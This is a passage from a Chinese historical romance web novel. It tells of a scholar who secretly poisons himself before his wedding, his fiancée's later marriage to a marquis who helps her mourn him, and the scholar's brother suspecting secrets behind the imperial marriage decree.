姑娘只看着他,长眉紧紧皱着,皱成一个团。 三爷却不觉有任何不妥,先给她倒了茶水,又端了一盘茶点来,在小炉上替她温着,还拿了毯子给她盖子腿上,然后问她。 “这次收来的书如何?你没能亲自过去,想来多少错失了些好书。” 这不重要,姑娘摇摇头。 勉楼从她祖父时盖楼起楼藏天下书,传到父亲再到她,本就非是一日之功。 她说阮恭和赵掌柜这次收来不少,“够勉楼里忙活一阵子,”她说着,眸色微缓,“还抢到了两部宋本,虽只有两部,但距离你集百部宋本之愿,又近一层。” 她说得三爷愣了一愣,看着她如水的双眸,“收百部宋书,也非一日之功,若我一朝不济,泉泉你也不要急,慢慢来……” 他话没说完,就被姑娘打断。 “三郎你在说什么?你有工夫想这个,不若请李大夫来给你仔细瞧瞧。” 她说着,径直转身去叫了人,“菖蒲,去请李大夫来三爷这里……” 但菖蒲未及应下,三爷伸手拉住了她的手。 “泉泉,莫要。” 房中静了一静,浓重的药气弥散开来。 姑娘转而也握了三爷的手,“为何?” 惠叔和菖蒲都退到了一边。 隔着花格门扇,听见三爷无奈地长叹一气。 “李大夫的药实在太苦了,你再去请他,只会再往我的药里添苦汁。” 姑娘似没想到他是这个答案,惊讶。 “天下哪有几副不苦的药,你怎么能嫌药苦呢?” 三爷又是摇头叹气。 姑娘却道,“那我陪你一道吃,好吗?良药苦口,我想等你好起来。” 姑娘这话隐隐有些哽咽,惠叔听得眼眶微热,可三爷却道不成。 “一个人吃苦还不够?还要两个人吃苦吗?难道你替我吃了,我就不必苦了?” 他一口气连说了这几句,微微气喘,可姑娘眼泪却啪嗒落了下来。 三爷登时就慌了神,他低声叫着“泉泉”,“不过就是吃药的小事,别哭,你眼睛不好,莫要流泪。” “那你更该好生吃药,一副药都不能懈怠。到腊月我们就成婚了,”姑娘哽声,突然问他,“你不想我嫁给你吗?” 惠叔老眼里泪都冒了出来,他看着连菖蒲那成日搞怪的小子,都揉了揉发红的鼻头。 花格里面,三爷嗓音也有些发涩,但他笑着。 “怎么会不想呢?” “可是你拖来拖去,现在还不好好吃药……” 三爷拿出帕子去擦姑娘眼角的泪,哄着她劝她,“所以我不想让李大夫来,是因为我自己重新调了方子,想调的至少能下咽。况我翻了医书,也看了旁的治法,同他不太一样,容我自己试一试。” 他说等他试好了,“或许不必六郎替我去迎亲……别哭了。” 但姑娘却径直投进了他怀里,将脸倚在他胸前。 “你必须得好起来!” 隔着花格,三爷身形微微僵了一下,但他没有似姑娘抱他那样,也伸手将姑娘抱紧。 他曾说自己身子凉的似数九寒天的冰,可姑娘也不算热,只是山里缓行漫流的水,他怎么能把水里最后的热也吸走,把她也拉入冰窟里? 他只虚虚拢了她在怀中,另一只手轻抚她的长发。 他说自己会好的,又说姑娘不要哭,更道,“泉泉,我要立不住了。” 姑娘只怕他踉跄,连忙离了他怀中,“你快坐下歇歇。” 他说好,却也没做,只道自己调的药,“吃了总是犯困,我有些倦了,你快回去吧。” 他要姑娘走,姑娘还要再陪他一阵,他却摇头,“就这点精神了,你且给我留点,给六郎写封信,让他在济南安心跟着座师进学。” 他撵姑娘走,不许姑娘多留,姑娘只能一步三回头地离开了蒋家。 只是她走了,他并没去给六爷写信。信昨日就写好了,早就打发人送了过去。 他就坐在方才的地方,静默坐着,好似姑娘还在房中,给姑娘留下的杯中,又续了半盏茶。 李大夫还是没能前来。 三爷的病未似他说得那般转好,反而越加地重了,每日里有精神的时辰屈指可数。 但他不许他去告诉任何人,不管是老爷、太太、姑娘,还是六爷。 但惠叔却发现家中药柜里的苦楝子少了,而三爷则绕过他,吩咐了小厮悄悄去采买,且悄然买了不少。 苦楝子最不能三爷这等脾胃虚寒的人服用,不仅味苦,还有毒。 惠叔心下不安极了,听闻此事的翌日,静默跟在三爷身后。 他见三爷如常起身之后,浅饮些温热粥水,然后往书房里坐上一阵,看两刻钟的书,又提笔写几张字。 接着他便趁休歇的时候,去往另一侧厢房的药柜前,亲自给自己拣药。 他也是照常先在厢房里点了香,驱散些药气,然后净手擦干,从一整面墙的药柜中,拣出他今日要服用的药来。 他神色一如往常平静,未见任何波澜。 可惠叔却见他安静地拣出了好一堆苦楝子出来,与其他药掺在了一起。 惠叔怔在窗外,他则叫了专司煎药的药童近前,见那小丫头戴了崭新的绢花在头上,温和地笑了笑,“可是昨日货郎上门来卖的?我也听见了叫卖声。” 他说着,从旁取了一吊钱来给小丫头,小丫头问他,“三爷也要买绢花戴吗?货郎说男子也有买来戴的。” 三爷笑起来,“那也得是些丰神俊朗的男子,病痨子就算了。” 小丫头还算懂事,连道,“三爷别这么说,三爷会好起来的,我们都等着三爷成亲热闹呢!” 三爷越发笑了起来,道,“那你好生帮我再煎两副药来。” 他说完,将那掺入大量苦楝子的药,给了小丫鬟。 小丫头哪懂分辨,拿了药就要走。 惠叔一下闯进了门去,一把打落了小丫鬟手里的药。 小丫鬟吓了一大跳,他却不管这许多,直看向药柜前的人。 “三爷!” 三爷目光看着他,微滞了一息,但下一息,他神色极其平静,抬手让小丫鬟下去了。 房里一时只剩下他与三爷两人,三爷神色静若无波之湖,就这么沉静地看着他惊慌的神色,缓声开口。 “惠叔,我是自己愿意的。” 愿意。他愿意把他自己治病救命的药,换成杀身害体的毒,然后每日服用两碗,直到早日奔赴黄泉。 惠叔颤抖不已,看着仍旧平静的三爷,只问他。 “三爷这样,还剩多少日子?” 李大夫半年前就曾说过,仔细养着,三爷总还能有一年半载的,就算半年过去,也还有一年才是。 但三爷轻声道,“腊月之前吧。” 腊月之前,那就剩不到半月了。而姑娘定下的婚期,是腊月十六…… “为什么?”惠叔颤声问。 冬风吹着窗外环绕小院一周的翠竹沙沙响个不停。 三爷的声音在竹声里,平静依旧。 他说不为什么,目光落去窗外的竹林。 “我只是不想活了。” 他说着似乎又想到了什么,嘱咐了他一句。 “别跟她说。” * 红螺寺最里,大殿里供奉着三圣,阿弥陀佛在中,左右侍者观世音菩萨、大势至菩萨分立两侧。两边的壁画上,绘着二十诸天护法神。 众神齐聚,默声俯瞰世间。 惠叔忆起三年前与三爷的往事,还是难受得胸口难捱。 其实三爷不仅让他不要告诉姑娘,而是不要告诉任何人,他只想安安静静地离开。 但那年,六爷从济南急奔而回,看到三爷已逝,怎么都不肯相信。六爷要为三爷守孝,次年的春闱也不去了,就留在家中,一步都不出三爷的院子,有时他半夜起身,见六爷还在三爷的牌位前自言自语,或者干脆一直叫着牌位。 “哥,哥你回来啊……我还等着和你一起去京城……” 某次他没忍住,跟六爷透漏了两句。 神像前,惠叔后悔不及。 蒋枫川则问向佛前的太妃娘娘。 “娘娘,您说哥为什么要这样做?他为什么要……” 他说不出口那两个字,那两个字割得他心口疼,但他还是忍着道,“他为什么要自戕?” 自戕。但凡他真就是药石罔及病逝,他绝不会去扰她。 可是不是。 他只问蒋太妃,“娘娘您说为什么呢?” 蒋太妃闭起了眼睛,众神之像将世间一切看在眼底。 她转身瞧着那自幼被弃、却被三郎捡回来养大的孩子。 “六郎,三郎他愿意,他心甘情愿。” “可是我不甘心……” 他不想再拖一年半载是什么意思?不过是想放他心上的人重新来过。 蒋枫川跪在了神像前,“哥不让我说,我可以不告诉她。但她不该忘了哥哥,这世间还有谁人,能似哥哥一样心疼她?我只求她时刻记着,不行吗?” 他叩拜在神像前,叩问神明。 蒋太妃默然,又重叹一气。 她亦不能替神明,或是死去的人回答,只能叫了佛前叩拜的人。 “你眼下最重要的是春闱。你兄长生前为你写了那么多荐信,只希望你能为蒋氏增添一位两榜进士。你就在我这处,好生备考吧。” 说着,又叹声道了一句 “亦再好生想想,你兄长当年此举到底是何意。” 蒋太妃说完,由朴嬷嬷扶着,离开了大殿。 有人跪在神像前,直到天色都渐晚了。 惠叔在后瞧着,不得不上前,“六爷还有伤在身,莫要再跪了。” 青年低着身子,又向神像叩了三叩,才起了身来。 “娘娘让我好生想想,哥当年之举到底是何意。” 他说自己好生想了,但话锋突然一转,看向惠叔。 “惠叔你说,哥会不会不只是为了放她,还有别的原因?” 别的原因?惠叔不明白。 蒋枫川抬头向点外看去,“也许还有什么,是我不知道的。” 他突然问惠叔,“惠叔,你是不是还有什么没告诉我的。比如,那位永定侯凭圣旨娶她的时候,消息传来,惠叔你好像不太惊讶。” 这话说得惠叔吸了一气,他连忙道。 “没有,六爷不要乱猜了!” * 积庆坊,永定侯府。 蒋竹修的忌日就在眼前了。 秋霖见姑娘下晌看累了书,往后院散步时,忽在正院后面的竹林旁立住了脚步。 姑娘没说什么,却在竹林外立了两刻钟,而后才沉默离去。 这会,艾叶从正房里出来,跟秋霖道了一句。 “夫人不知在想什么,默默叹了几次气。” 秋霖能猜出个大概,她往房中看去。 “三爷忌日就在眼前,夫人应是想去祭拜,但不知道怎么跟侯爷开口吧?” 秋霖这一说,艾叶也悟了过来。 “这……确实不好开口。” 两人也不知道怎么办,却没瞧见有人脚步正在两人说话的墙外,男人瞧了一眼二人,亦向房中看去,脚下微顿。 房中,杜泠静捡回来一片竹叶。 只是捡回来,却莫名不知该放到何处,她拿在手里,正出神,忽见有人从外面回来了。 她抬头看去,男人也低头看向了她,亦一眼就看到了她手心里那片竹叶。 杜泠静心下暗暗一紧。 她不晓得他是如何态度,但也不想因为此事与他再起什么争执。 可他却走上前来,轻柔了嗓声。 “过几日,是不是蒋解元的忌日?我与你一道去祭拜他吧。” 第44章 “过几日, 是不是蒋解元的忌日?我与你一道去祭拜他吧。” 杜泠静手心里的竹叶无处安放,呼听他说了这句,讶然抬眸看去。 他走过来, 墨色眼瞳如浓墨化不开,杜泠静微怔。 “若你不介意, 那日我自己去即可。” 她想他能主动提及, 且把话说到这等程度,她就已经很是感谢,倒也不用他真的陪她去祭拜三郎。 三郎到底是与他不相干,甚至因为之前的事, 关系颇为微妙的人。 可他却瞧着她笑了一声,“看来泉泉觉得, 我在跟你说笑。” 杜泠静确实有些这样认为,但他却道不是,“祭拜之地我已安排了下去,积庆坊离着广济寺最近, 让住持给我们留出半日来。” 广济寺乃是前代古刹, 于战火中焚毁后, 到先帝末年才掘故址而复建,先帝颇为看重这种古刹, 也算的半个皇家寺院,香火十分鼎盛, 住持更是得道高僧。 她没想到他已经安排好了,还占了广济寺半日的光景。 她愣在那里, 一时不知该说什么,只是怔怔看着眼前的人。 最开始他对三郎的态度好像不是这样的。 初初相遇,他言语里的意思, 便道前人已逝,她该忘却前人。 那话令她心里不适,更因着她不想嫁人,亦不想嫁他,多次在他面前称呼三郎为“家夫”。 她自是有与他暗暗对抗的意思,好似三郎还不曾离去,但他却强娶了她过门。 但他却改换了态度,不仅未曾恼火,反而柔声道歉又劝慰。 她心里思量他多少还是介意的,三郎祭日的事便不欲同他提及,可他竟然主动开了口。 她多半的时候都不知他到底怎么想,但她总能看穿她的心思。 “侯爷,其实你不必……” 不必宽纵至此。 杜泠静想跟他说完这句,可话到一半,他就笑着打断了她。 “你如今的夫君,同你祭拜先前的未婚夫,又不是什么怪事,反而若我不许你去,或者避而不提,才显得你我的姻缘,名不正言不顺,不是吗?” 杜泠静哪想到他还思量了这么多?越发惊讶看他。 男人脸色正着,眉宇坦然舒展,目光亦向她看来,由着她打量。 确实,他与她成亲,是在三郎过世三年时,就算她当年嫁了三郎,为他守孝二十七月,那也孝期已过。 何况她当年未曾嫁,而他结识她是在这半年,他娶她也凭的是圣旨赐婚。 杜泠静心道,哪里有人敢说他名不正言不顺? 她不得不道,“侯爷想得太多了。” 他一时未说什么,只微微抿了抿唇,目光则转向她的手心里。 她手心里,还放着那片刚刚捡来的竹叶。 他没提竹叶,反而道,“我们到广济寺祭拜蒋解元,总也该有他一件遗物才好。” 这倒是,三郎远在青州,京城里连他衣冠冢也没有。 但竹叶不足以当他的遗物。 但因为从青州出来时匆促,彼时根本没想过会留在京中,更嫁了人,所以身边没带什么三郎的东西,除了那盏灯。 她思及那盏灯,他也恰提起,“娘子觉得灯可合适?” 杜泠静想了想,“若是那盏灯修好了,便也算了,再寻旁的也可。” 那灯陪了她许久…… 男人闻言点了头,但旋即开口叫了崇安前来。 他直接问去,“夫人那盏灯可修好了?” 崇安一听突然问及此时,眨了几下眼睛。 原本找个西安的灯匠过来,也就半月的工夫,但那天侯爷却私下吩咐他不急。 侯爷既然说不急,他便拖了些日子,腊月将近,西安那边要来人给侯府里送东西,他这才提了一句灯匠的事,眼下灯匠约莫快到了。 要说修好,也就再等几日的工夫。 但他此刻看向侯爷,悄悄眨了眨眼。 他回话说没有,“一时没寻到合宜的工匠,恐要等年后了。” 崇安回了话,陆慎如向他娘子瞧去。 舍得吗?把这盏灯当作遗物供去广济寺里,要一整年。 但灯已经坏了。 杜泠静亦知道灯不亮了,虽不知为何突然就不亮了,但留在身边也用不了。 她垂了垂眼帘,“那算了,不必寻人修了,就这盏灯吧。” 话音落地,男人眸色彻底缓了下来。 崇安领命下去了,陆慎如上前牵了他娘子的手。 他道难得有闲暇往后花园走走,“瞧着天色,像是要下雪了。我们不若晚间在漱石亭摆宴?” 今冬甚是干燥,到了今日京里才酝酿出了第一场雪。 京城初雪,他便要在府邸最高处的漱石亭里赏雪摆宴。 杜泠静又觉他好笑,那些诗书里泡出来的文人墨客,说不定都不如他懂这等风花雪月的雅致消遣。 陆慎如见她轻轻笑了起来,但亦悄悄将手心里那片竹叶,放在了房外的窗棂上。 风轻轻卷过,竹叶旋即飞起,飞进了风里。 长眉之下,她一双眼眸若含了雪花一样,安静地晶晶发亮。 陆慎如将她的手彻底紧握在手心里。 她问他,“侯爷就不怕漱石亭里摆了宴,却没等来京城初雪吗?” 岂不失策白等? 男人笑起来,“难道娘子真以为,我等得是京城的初雪吗?” 是她…… 她一愣,脸色似乎有两分如霞的绯色,又错开他灼然的目光。 “哦,看来侯爷等的是瑞雪丰年、海晏河清、盛世太平。真不愧是侯爷。” 但话音落地,男人笑出了声来。 他道,“夫人才是时刻惦记国泰民安,就算没有功劳,也没有苦劳,那也有心劳。” 话音落地,她微微张了唇,柔唇微张间,似乎没想到他给她戴高帽,笑话她只嘴上说得好听,操了些闲心,就当劳苦功高了。 男人更是低头笑。 她比起那些每日在朝堂上明嘲暗讽他的糟老头子们,可稚嫩多了。 但她方才忆起前人的怔忪之色已从面上消散了去,她说不过他,转身往一旁走。 他倒也没拦她,但她刚一步迈出去,一片晶晶莹莹的白色花片,顺着风就吹了过来,飘荡间落在了她的鼻尖上。 她看向鼻尖上的京城初雪,又转头向他看来。 “真下雪了?” 男人眉眼含笑。 “那漱石亭摆宴,娘子可还有疑虑?” 他问去,见她抿了唇抬眼看来,“侯爷总能所想便所得。” 这话倒是说得陆慎如一愣,他看着她的眼睛。 若真如此,那可天意垂怜了。 …… 晚间的永定侯府,白皑皑初雪覆满了亭台楼阁,雪景宜人之处,陆侯亲自携夫人赴宴。 这场初雪连下了两日,满京飞雪,将城楼朱门都改换了颜色,遥遥望去,威严高阔的皇城都和蔼了三分,如同披上了一件雪色绒绒的暖衣。 两日之后,雪停之时,便到了过世之人三年的忌日。 红螺寺里,蒋枫川换了一身素衣,同蒋太妃娘娘也往殿中祭拜离世之人。 不过他离开客院之前,接到了一位小沙弥送来的消息。 小沙弥说广济寺今日也在祭拜蒋解元,“是陆侯夫人要去,广济寺今日上晌闭了门。” 陆侯夫人。 蒋枫川自是听不惯这个称呼,但也没说什么。她还没忘了今日是三哥忌日就不错了。 他叫了惠叔过来,道是先前替她打听到了一本宋书,“我已付过了钱,明日书就能送来,惠叔连同先前住持送我的两瓮山泉水,一并给她送过去。她不是喜好泉水泡茶么?” 他这次没作怪,只是送了书和泉水,惠叔见他正经许多,没再一味折腾姑娘,连声道好。 “六爷能同夫人好生地寻常往来,三爷在天之灵必欣慰不已。” 蒋枫川轻哼了两声。 只要她能记着三哥,别有了新人就把旧人忘了,他自然愿意同她好生往来。 不过想到广济寺竟给她闭门半日,不由问了小沙弥一句。 “陆侯夫人倒是颇得广济寺住持照看?竟闭了门亲迎。” 小沙弥连道应该如此,“听说陆侯爷也是要同去。” 话音落地,蒋枫川微讶。 “我没听错吧?他也去?” 小沙弥说没错,惠叔见蒋枫川神色不对,赶紧将小沙弥打发了去。 他道,“侯爷不在意夫人和三爷前事,那是好事。” 蒋枫川却哼了一声,“他真有这般宽和?怕不是以退为进、俘获人心吧?” 惠叔都不知说什么好了,幸而朴嬷嬷遣人来请,六爷倒也没再多言,抿唇往祭拜的殿里而去。 * 永定侯府。 众人刚要出门往广济寺去,崇安便来了一趟,轻声在侯爷身侧。 “卫国公世子夫人想要见您一面。” 杜泠静也听见了这话,但见男人抬手,“不见。” 崇安又道,“世子夫人先前来过一次了,当时侯爷未在家中。” 杜泠静倒也晓得,但那位世子夫人不是在寻她的,崇安就让她改日再来。 她不禁同身侧的男人道,“兴许世子夫人有紧要事。我自去广济寺便是,侯爷不必陪我。” 陆慎如却道要陪的,“不是说好了一道前往?” 他说那卫国公世子夫人,正是荣昌伯府杨家的大小姐,“她来能有什么事?无外乎请我再去圣上面前说情,给她那两个犯了人命官司的弟弟留条命。” 眼下邵伯举重罪难逃,邵氏也被连累,窦阁老等雍王一党被牵扯,自然不会放过永定侯府这边,死咬着荣昌伯府杨家的事不放,要皇上重判杨大小姐的两个弟弟。 “他们咬的这么紧,就算我去皇上面前说情又能怎样?况且杀人偿命,天经地义。”他道,“眼下能大差不差地,把荣昌伯府保下来就不错了,杨大小姐想要的太多,我实是不便见她。” 杜泠静明白了过来。 他是选了拂党众人,才放弃了杨家的两位小爷,杜泠静在这事上不好说话。 她见他已有主张,便没再多言。 两人不时离府往广济寺去。 广济寺里为蒋竹修做了一个小道场,杜泠静拜于其间。 她看向那盏怎么都点不亮的等,恍惚间突然感觉,三郎好像离她有些远,又越来越远了。 她心下有一息的发慌,她想要抓住什么却又抓不住,就像那盏点不亮的灯一样。 杜泠静在遗物前停留了许久,直到有人近到她身侧,握了她的肩。 她这才缓缓起了身来,又见他亦接了三柱清香,拜了一拜,将三柱清香安在香炉中。 他这般,杜泠静也不好再停留,转头又看了两眼那盏暂时被寄放到广济寺里的灯,跟他一道转了身。 住持来说了几句佛语,自是逝人已逝、生者安心之类的话。 广济寺的住持倒与红螺寺住持交好,道广济寺身在城内,“若是为解元做大道场,还得是红螺寺更方便些。” 杜泠静是有这个意思,就是不晓得在红螺寺那边做大道场,会不会扰了太妃娘娘清静。 但男人却没有这层顾虑,他直接同广济寺的住持道,“烦请二位住持再替解元,往红螺寺做一场水陆道场,一应诸事皆以最盛才好,赶在年前。香火自是陆某来出。” 他一出手便是一场盛大的水陆法事。 他略一开口,广济寺住持便道声“阿弥陀佛”,应了下来。 杜泠静不禁低声道,“由两位住持来主持,又在红螺寺办这水陆法事,会否声势太过?” 他说无妨,“解元的三年祭不是寻常祭奠,理应如此。” 杜泠静却道,“那香火钱还是我来……” 话没说完,男人已皱眉看了过来,“娘子这又是什么意思?” “我是说、是说……”她在他定定的目光下,说了半天也没说出口。 还是他直接道,“我亦拜读过蒋谦筠,高中一省解元的文章,文思斐然,读之豁然开朗。我以此道场聊表敬意不成吗?娘子不许?” 杜泠静没想到他还读过三郎的文章,他总是做过些令她想不到的事。 但她还能再说不行? 她说,“没有不许……” 男人道,“那娘子便不用操心了。” 两人又跟随广济寺的主持在寺庙中小转了一阵,听了些佛法道理,浅尝寺中斋点一二,才离了去。 不想离去的时候,崇安又来禀事。 “侯爷,卫国公世子夫人还是想见您一面,就等在寺外了。” 杜泠静瞧见他皱了眉,可还是没有开口应下。 他还是说不见,“你去跟她直说吧,此事我已尽力,更多是不能了。” 本就是杀人灭口的重罪,又被窦阁老等人咬死了,想让两人全须全尾留条命,除非是皇上愿意开恩,且将邵伯举和邵氏一并饶了,才有可能。 他不见人,只同他娘子一并回了府邸。 寺外,卫国公世子夫人,也就是荣昌伯府杨家的大小姐,听闻崇安的话也没再多言。 她一言不发地看着侯府的马车,载着侯爷与他的新夫人离去。 陪房嬷嬷叫她,“夫人,我们也回去吧。” 她哼了一声,“回去做什么?等着我两个弟弟被砍头?” 她说着,不甘的眼泪咣当落了下来。 “我父亲我大哥为陆氏的永定军卖命多年,他陆侯一朝迎娶了新夫人,顾着夫人娘家这些文臣,便不要我们这些姻亲故旧了……那我们这些年为她陆氏姐弟拥立太子,添砖加瓦算什么?” 她道,“慧王还没入主东宫呢。陆侯就对我们这些旧人‘铁面无私’了。侯爷是变了吗?娶了新妇就变了?我倒是想见识见识,他那新夫人是什么样的人物,有这样笼络侯爷的手段……” 陪房嬷嬷连忙让她快别说了。 “夫人快别说了,这些事哪好妄议?让旁人听见可了不得! 陪房嬷嬷赶紧岔开话题,“老奴方才听说,伯夫人今日又晕了一回,您不若先回娘家看看伯夫人吧。” 杨大小姐听见母亲又昏倒,惊得连忙让人掉转车头,往荣昌伯府去。 * 红螺寺。 永定侯府陆氏要为蒋解元办一场水陆法会,消息很快就传了过来。 蒋太妃问询都愣了愣,“请两位住持合办,实在过盛了些。” 但这是陆氏出香火钱来办的,她还能阻拦不成。 太妃倒是没说什么,但此事却落到了客院备考的蒋枫川耳中。 青年刚做了一下晌的文章,此刻起身翻看着兄长旧年为春闱会试准备的手札。 厚厚的一册文章手札,他但凡能来京城应考,以他一省解元的文采,没有不中的。说不定会试也能拔得头筹,殿试再点状元,便是三元及第! 可他却连青州都没能出的来。 蒋枫川刚翻了两页手札,就听说了这件事。 “两位住持合办的水陆大会?” 小沙弥说是,“解元此番必然安心往极乐世界去了。” 小沙弥不晓得事,但这话却听得惠叔,不安看了六爷一眼。 果听六爷低声说了一句。 “送逝者远去,方能让生者忘怀吗?” 他道,“陆侯爷就这么着急?” 别不是这场圣旨赐婚,也有些不为人知的猫腻吧? 第45章 日子进了腊月, 京城又下了两场小雪。 杜泠静去看了扈廷澜一回。扈大哥身上的伤势好多了,但等到邵伯举判罚的日子,他仍是神色落寞。 亭君则记过口供之后, 就着急地回了一趟沧州。 杜泠静本想叫她往枕月楼里吃饭,再到崇教坊国子监附近的茶馆小坐, 但亭君顾念着家中的孩子, 杜泠静只能与她相约年后再见。 她自己倒也不算清闲。次年二月的春闱在即,正是时文书册最好卖的时候,杜氏印社从前在青州,逢小考都能大卖一波, 若逢一省秋闱更是不得了。 今岁的秋闱因着她在京中被婚事占了心神,只有赵掌柜一个人在青州苦苦支撑, 眼下她将赵掌柜也叫来了京中,又开了勉楼,赵掌柜一下招揽了许多人手,同她道, “这刚年末京里就聚满了各地前来候考的学子, 咱们说什么要大赚一笔!” 这话说得好像她开书楼, 就只为了赚读书人的钱。 但转念一想,她如今打理的不是勉楼而是归林楼了, 这些时日来归林楼收书,以她带来的钱是不够的, 他给她特支了一大笔钱过来,宗大总管也派了管事协助。 那些银子多得, 赵掌柜眼珠子都要掉出来了。 藏书是费钱,但只出不进非是长久之计,她便让赵掌柜莫要再惦记侯府拨来的钱, 接着春闱降至,归林楼刚开的名头,好生卖些书册来,将归林楼慢慢扶上藏书楼的正轨才是紧要。 因而赵掌柜要趁机多赚些钱,她自是不排斥,这几日便出了城,从侯府往归林楼里去。 谁想她头一日去了归林楼,第二日某人就派人来接她,次日她又出城去,才过了一晚,他又让人来接。 她想这样也不是不行,好歹能在归林楼住上一晚。可才两回,今日她又一早出了侯府,下晌天还没黑,他干脆让崇平亲自接了她回家。 归林楼是不远,但一日内打个来回,也要费些工夫。 杜泠静回到侯府,见侯府里什么事也没有,她拿了书在窗下看书,不说话。 刚坐下,他就从外院回来了。 杜泠静只翻书不理会他,她就看他能说出什么紧要的事,非要她一日打个来回。 不想他不提到底因何事,只是道。 “西安老宅那边送了几头鹿进京,瞧着颇为健壮,还有后花园里那一群鹅,听崇安说,时常作威作福。娘子看,晚间要不要让灶上弄些肉来,烤着吃?” 她上晌出门,下晌就被他叫回来,就是为了晚上吃些烤肉? 她不说话,但也没继续看书,合上书册看去他眼睛。 水色眸中此刻起了风,刮起水面上小小的恼怒之波。但她这点恼意,只如刮擦在他心头的羽毛。 陆慎如不好在她生气时还笑,便只能道,“天寒,上朝不易。” 天寒,早间上朝不易,同她去归林楼有什么关系? 但杜泠静一下就明白了过来。 因着早间天寒,上朝不易,所以他要她晚间陪他。 他向她看过来,虽然后面的意思没说,但墨色英眸映着她的身影,眸光问她愿不愿意。 杜泠静脸上微微有些发热,却道,“归林楼要借春闱前的数月,稳住根基才好。” 不想他问来,“钱不够了吗?我让宗总管再给你拨些。” 杜泠静睁大眼睛,那是钱的事吗? 她睁大眼睛看去,他又道,“收几本书的钱,侯府还有的是。” 杜泠静晓得他是故意装不懂,就是要留她在家中。 她道,“从前我在勉楼也算有些名声,如今我到了京中开归林楼,各地不少学子前来拜会。” 她若在侯府,人家碍于这位侯爷的威名,就不好前来了,但她在归林楼便不一样。 这些学子前来,多半都会给她带些难以搜寻的书册,十分可贵。她不在归林楼里,只能让赵掌柜代为接见。 她说着想起旁的又道,“冯家小弟近来也在归林楼替我帮衬,我更不好只在家中享清闲。” 她不提那冯巷还好,一提那冯巷,陆慎如就哼了一声。 “他年岁也不小了,一见人就脸红,不知是有什么病,要不要请太医看看?” 不是一见人就脸红,是一见他娘子就脸红,甚至开始结巴,话都说不利索。 不是个好小子。 陆侯抿唇不悦,杜泠静怎么看不出来? 杜泠静只能跟他解释,“冯小弟自小就是腼腆的性子。” 可他只哼,“那更该把心思放在举业上,待早日榜上有名,我可帮他安排往外历练。” 他说江南一带便不错,“自然他要去两广、福建等地更好。” 江南、两广、福建?他是有多远,便把冯家小弟支多远吗? 杜泠静简直要气笑了,刚要暗暗气他一句什么,但他忽的又重复了一遍方才的话。 “泉泉,天寒上朝不易。” 杜泠静:“……” 他的目光灼灼,就只问她能不能晚间在家陪他。 杜泠静莫名心下有几分发软。 “……好吧。” 她改成早间去、晚间回就是了。 这位侯爷显然是高兴了起来,这便出门吩咐将后院的梅林围了,要在梅林里烤肉吃,还让给他温一壶酒,他还要小酌一杯。 杜泠静实在忍不住,低声笑了一声。 只不过看向他高阔的身影,突然想到他说他娶她,也是圣旨之下的无奈之举,但幸而她是他枕月楼里一见倾心的人。 杜泠静不曾有过一见倾心的时刻,也总觉得这种事情令人难以相信。 但他娶她回家,待她如此,还能有什么原因呢? 她一时也是想不出来的。 * 红螺寺。 蒋家听闻蒋枫川在京城落了脚候考,怕这几月他过于辛劳,便从青州派了一位管事两个小厮前来伺候。 六郎到底年轻,又没有扈廷澜因邵伯举的事神思沉落,他的伤比扈廷澜重得多,但也好得快多了。 蒋太妃替他请了位太医把脉,太医道待明岁二月必然好利索了,春闱九日会试不成问题。 九日的考试,是他兄长蒋竹修根本熬不下来的,但他可以。 近来他着实刻苦,天不亮就起身,先围着寺庙走上两圈,然后在房中一坐就是一晌午,下晌不必小憩,晚间却能挑灯熬到午夜时分。 他这般刻苦,太妃不免心疼了他,怕他熬不住,专门让朴嬷嬷给他每日炖煮了补身子的药膳,送去客院书房里。 六郎每每见朴嬷嬷来了,便起身休歇片刻,一边请她坐,一边又不让她打开药膳盅,“嬷嬷容我猜猜,今日里面都放了哪些药?” 他总能一猜一个准,引得朴嬷嬷惊叹不已。 今日朴嬷嬷问他,“六爷从前,是不是常跟在三爷身侧,什么样的药材都通晓?” 六郎说自己算不上通晓,“若论岐黄,我比不得哥十分之一。但之所以能准确说出您放了什么药,您道是为何?” 朴嬷嬷哪能猜得到呢?心想他会道家占卜之术,莫不是掐指一算,算出来的? 不想听见他道,“是因为,帮您拣药的两位宫女姐姐,每日都念叨着今日的药膳,从我窗下路过。六郎想不知道,也很难啊……” 话音未落,朴嬷嬷不由笑出了声来。笑着又觉不合宫中礼仪,连忙掩口,但看向年轻的六爷越发喜爱。 蒋枫川又亲自为她斟了茶来,说笑一般地道了一句。 “听说兖王殿下年后要来红螺寺小住,不会是奔着朴嬷嬷的手艺来的吧?” 朴嬷嬷最初在御膳房服侍过,后来因着伤了手调到了蒋太妃宫里,但手艺却未曾落下,她稍微指点两句,灶上做出来的膳食便不一样。 他这玩笑话只把朴嬷嬷哄得更加眉开眼笑。 她说自己当不得,“兖王殿下每岁都来红螺寺小住,是静心祈福来了,哪里是为了我的手艺?” “原来兖王殿下每岁都来。是什么时候,可有个定数?我可没见过殿下,别冲撞了才好。” 朴嬷嬷让他不必担心,“殿下每年正月,会来寺里住一旬或半月。殿下最喜读书人,六爷通文达理,殿下喜爱还来不及。” 朴嬷嬷说了这几句便起了身,道是太妃娘娘吩咐的药膳,让六爷趁热用了,“老奴还要同娘娘回话,就不耽搁六爷了。” 蒋枫川特特起身送了她到院外。 不过回到院中,惠叔问了一句,“六爷怎么问起了兖王殿下的事?” 兖王殿下乃是当朝皇叔,虽然只跟皇上相差四五岁,但辈分颇高。 他一生都没有往封地去,是因着生下便有个手脚无力的毛病,提笔写字都是写不稳的,先皇对这个弟弟如自己儿子一般疼宠,怕他在封地无法就医,给他在京中建了府。 这些蒋枫川都晓得,不过这不重要。 他跟惠叔笑了笑,“随便问问罢了,倒是惠叔,担心些什么?” 惠叔当然担心。 因为兖王虽没什么实权,但他却担了个紧要的差事。 他正是那每岁中秋皇上赐婚、高门大户都要递牌子过去的宗人府的宗人令! 皇上圣旨赐婚的事情,旁人或许不晓得,但兖王这位宗人令却无不通晓。 只不过这位殿下深居简出,寻常人根本遇不到罢了,兖王殿下也不会随便说。 但六爷却打听了这位宗人令王爷,要来红螺寺斋戒小住的事。 惠叔暗暗地,手都在袖子下攥了起来。 六爷不会要趁这个机会,打听什么有关侯爷与夫人被圣旨赐婚的事吧? 可惠叔也不敢多问他什么,但凡他多说一句,六爷就能拽着一根线头,把事情一股脑都扯出来。 六爷同三爷的性子,可太不一样了。 惠叔不敢多问,只心下发愁。 蒋枫川却不紧不慢地吃着药膳,还给惠叔也盛了一碗,好言笑道。 “惠叔也补补?朴嬷嬷今日的药膳舒气静心,您也别太心焦了。” 该知道的事,他早晚会知道的。 